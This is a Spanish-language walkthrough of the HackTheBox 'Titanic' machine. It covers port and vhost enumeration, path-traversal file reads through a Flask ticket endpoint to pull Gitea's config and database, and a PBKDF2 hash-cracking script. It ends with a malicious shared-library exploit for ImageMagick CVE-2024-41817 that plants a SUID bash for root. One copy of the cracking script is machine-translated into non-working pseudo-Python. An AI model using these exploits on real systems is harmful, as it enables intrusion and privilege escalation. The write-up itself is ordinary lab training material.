Skip to content

Titanic - Hackthebox

20250829164435.png

Titanic es una máquina Linux de fácil dificultad que cuenta con un servidor Apache escuchando en el puerto 80. El sitio web en el puerto 80 anuncia las comodidades del legendario barco Titanic y permite a los usuarios reservar viajes. También se identifica un segundo vHost tras el fuzzing, que apunta a un servidor Gitea. El servidor Gitea permite registros, y la exploración de los repositorios disponibles revela alguna información interesante, incluyendo la ubicación de una carpeta de datos montada Gitea, que se ejecuta a través de un contenedor Docker. Volviendo al sitio web original, la funcionalidad de reserva es vulnerable a un exploit de lectura arbitraria de archivos, y combinando el directorio identificado de Gitea, es posible descargar la base de datos SQLite de Gitea localmente. Dicha base de datos contiene credenciales hash para el usuario developer, que pueden ser crackeadas. Las credenciales se pueden utilizar para iniciar sesión en el sistema remoto a través de SSH. La enumeración del sistema de archivos revela que un script en el directorio /opt/scripts se ejecuta cada minuto. Este script ejecuta el binario magick para recopilar información sobre imágenes específicas. Se ha descubierto que esta versión de magick es vulnerable a un exploit de ejecución arbitraria de código asignado CVE-2024-41817. La explotación exitosa de esta vulnerabilidad resulta en la elevación de privilegios al usuario root.

Reconocimiento

Iniciamos con el reconocimiento de puertos abiertos de la maquina victima

c
❯ nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.55 -oG allportsScan
c
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 16:46 -05
Initiating SYN Stealth Scan at 16:46
Scanning 10.10.11.55 [65535 ports]
Discovered open port 22/tcp on 10.10.11.55
Discovered open port 80/tcp on 10.10.11.55
Completed SYN Stealth Scan at 16:46, 14.93s elapsed (65535 total ports)
Nmap scan report for 10.10.11.55
Host is up, received user-set (0.12s latency).
Scanned at 2025-08-29 16:46:09 -05 for 15s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Luego de tener los puertos abiertos procederemos a enumerar los servicios que corren en dichos puertos

c
❯ nmap -p22,80 -sC -sV -Pn -n 10.10.11.55 -oN servicesScan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 16:47 -05
Nmap scan report for 10.10.11.55
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

observamos que en el servicio web tenemos un dominio, por lo que lo agregaremos a /etc/hosts. Luego de agregarlo observamos el siguiente sitio web.

20250829164934.png

Enumerando los subdominios del sitio web, encontraremos que existe uno dev

c
❯ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hl 9 -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://titanic.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                    
=====================================================================

000000019:   200        275 L    1278 W     13870 Ch    "dev"                                                                                                                      
000009532:   400        10 L     35 W       303 Ch      "#www"                                                                                                                     
000010581:   400        10 L     35 W       303 Ch      "#mail"                                                                                                                    
Total time: 0
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 0

Agregando al nuestro /etc/hosts y revisando desde nuestro navegador encontraremos con el servicio de gitea.

20250829170956.png

Ahora podemos registrarnos en http://dev.titanic.htb/user/sign_up

20250829171712.png

Explotación

una vez registrado, nos encontraremos con dos proyecto del usuario developer.

20250829171858.png

20250829171635.png

En una de ellas encontré credenciales para la base de datos.

c
version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Use estas credenciales para intentar logearme como el usuario developer por ssh pero no hubo resultado. Por lo que seguí enumerando un me encontré con otros posibles usuarios como jack y rose pero con ninguno pude ingresar.

20250829172204.png

c
{"name": "Jack Dawson", "email": "jack.dawson@titanic.htb", "phone": "555-123-4567", "date": "2024-08-23", "cabin": "Standard"}
{"name": "Rose DeWitt Bukater", "email": "rose.bukater@titanic.htb", "phone": "643-999-021", "date": "2024-08-22", "cabin": "Suite"}

LFI

En el proyecto flask app encontré el código de la aplicación, por lo que procedí a revisarlo

c

from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

En esta parte del código podemos observar que al buscar y darnos el archivo no hace una validación y podemos leer un archivo que exista en la maquina atacante

c
@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

Desde burpsuite podemos realizar la request para leer el archivo /etc/passwd y efectivamente la podemos leer.

20250829180130.png

Revisando la documentación de Gitea encontramos que existe una ruta con credenciales o rutas sensibles custom/conf/app.ini

20250829223415.png

En el repositorio vemos que tenemos una ruta donde esta desplegado la app /home/developer/gitea/data. Teniendo en cuenta la documentación debería existir un archivo en /home/developer/gitea/data/[custom]/conf/app.ini, por lo que realizaremos fuerza bruta para poder encontrar el directorio.

c
❯ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ' -e .ini,.txt,.sql

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .ini .txt .sql 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

git                     [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 121ms]
ssh                     [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 121ms]

Encontramos un directorio git en el cual iniciarnos a hacer fuerza bruta para seguir buscando directorios.

c
❯ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://titanic.htb/download?ticket=/home/developer/gitea/data/git/FUZZ' -e .ini,.txt,.sql,.db

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/download?ticket=/home/developer/gitea/data/git/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .ini .txt .sql .db 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.ssh                    [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 116ms]

Aquí encontramos otro directorio .ssh y también seguiremos enumerando los directorios, luego encontraremos un archivo llamado evironment.

20250829223558.png

En este archivo encontraremos la ruta que custom que es /data/gitea y podemos leer el archivo sensible. /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini

20250829223741.png

c
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

En este archivo encontraremos un .db en la ruta /data/gitea/gitea.db donde encontraremos credenciales.

shell - Developer

Para descargar el archivo .db debemos ir a la ruta: http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

En este archivo encontraremos credenciales para el usuario administrator, developer y el usuario que creamos.

c
sqlite> select * from user;
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
3|seven|seven||seven@seven.com|0|enabled|b606fd9646c1c971d3a5dbba8c3b8795f601aa598a095c103ee05299e11386efd4968f90ca323c1a59ecf2b0f8092d0b54ba|pbkdf2$50000$50|0|0|0||0|||480e0f702900bf8d57e2a92af85147e5|cf6aa99694c16c9a91b99391fb71efdc|en-US||1756505443|1756506282|1756506228|0|-1|1|0|0|0|0|1|0|b1ac3f8df46474ad80145e6f017c943e|seven@seven.com|0|0|0|0|0|0|0|0|0|unified|gitea-auto|0
sqlite>

Luego de investigar un poco sobre el hash y como crackearla, encontré una maquina similar para poder crackear el hash.

Revisamos el articulo y encontraremos un script que nos ayudara a crackear la contraseña.

c
importar hashlib
importar binascii
del registro de importación de pwn
# Parámetros de gitea.db
sal = binascii.unhexlify('227d873cca89103cd83a▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒') # 16 bytes
clave = '97907280dc24fe517c43475bd218bfad56c25d4d11037d▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒'
dklen = 50
iteraciones = 50000
def hash(contraseña, sal, iteraciones, dklen):
    valorHash = hashlib.pbkdf2_hmac(
        nombre_hash='sha256',
        contraseña=contraseña,
        sal=sal,
        iteraciones=iteraciones,
        dklen=dklen,
        )
    devolver valor hash
# Grieta
dict = '/usr/share/wordlists/rockyou.txt'
bar = log.progress('Descifrando PBKDF2')
con open(dict, 'r', encoding='utf-8') como f:
    para la línea en f:
        contraseña = línea.strip().encode('utf-8')
        hashValue = hash(contraseña, sal, iteraciones, dklen)
        objetivo = binascii.unhexlify(clave)
        # log.info(f'Nuestro objetivo es: {target}')
        bar.status(f'Intentando: {contraseña}, hash: {hashValue}')
        si hashValue == objetivo:
            bar.success(f'¡Contraseña encontrada: {password}!')
            romper
        
    bar.failure('El hash no se puede descifrar.')

Para nuestro caso tendremos:

  • Hash: e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
  • Salt: 8bf3e3452b78544f8bee9400d6936d34

Así reemplazaremos el Hash y Salt en el script

c
import hashlib
import binascii
from pwn import log


# Parameters from gitea.db
salt  = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')  # 16 bytes
key   = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dklen = 50
iterations = 50000


def hash(password, salt, iterations, dklen):
    hashValue = hashlib.pbkdf2_hmac(
        hash_name='sha256', 
        password=password, 
        salt=salt, 
        iterations=iterations, 
        dklen=dklen,
        )
    return hashValue


# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar  = log.progress('Cracking PBKDF2')

with open(dict, 'r', encoding='utf-8') as f:
    for line in f:
        password  = line.strip().encode('utf-8') 
        hashValue = hash(password, salt, iterations, dklen)
        target    = binascii.unhexlify(key)
        #log.info(f'Our target is: {target}')
        #bar.status(f'Trying: {password}, hash: {hashValue}')
        bar.status('Trying %s' %(password))
        if hashValue == target:
            bar.success(f'Found password: {password}!')
            break
        
    bar.failure('Hash is not crackable.')

Ejecutamos el script:

20250830001823.png

Nuestra contraseña para developer :

c
developer : 25282528

Usando esta contraseña podemos iniciar sesión por ssh.

20250830001940.png

shell - root

Enumerando el servidor encontraremos un archivo identify_images.sh el que usa magick

c
developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

20250830003912.png

Al ver la versión de magick podemos observar que este tiene la versión 7.1.1-35

20250830003929.png

ImageMagick 7.1.1-35

Luego de investigar encontraremos que esta aplicación en esta versión tiene una vulnerabilidad.

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("busybox cp /bin/bash /tmp/pwned; chmod +s /tmp/pwned");
    exit(0);
}

El anterior script nos permitirá escalar privilegios como root, ejecutando el siguiente comando para copilar nuestro exploit.

c
gcc -shared -fPIC -o libxcb.so.1 exploit.c

20250830005515.png

Luego de esperar un tiempo observamos que nuestro exploit fue ejecutado, y tenemos nuestro binario con permisos suid y así poder escalar a root.

20250830005604.png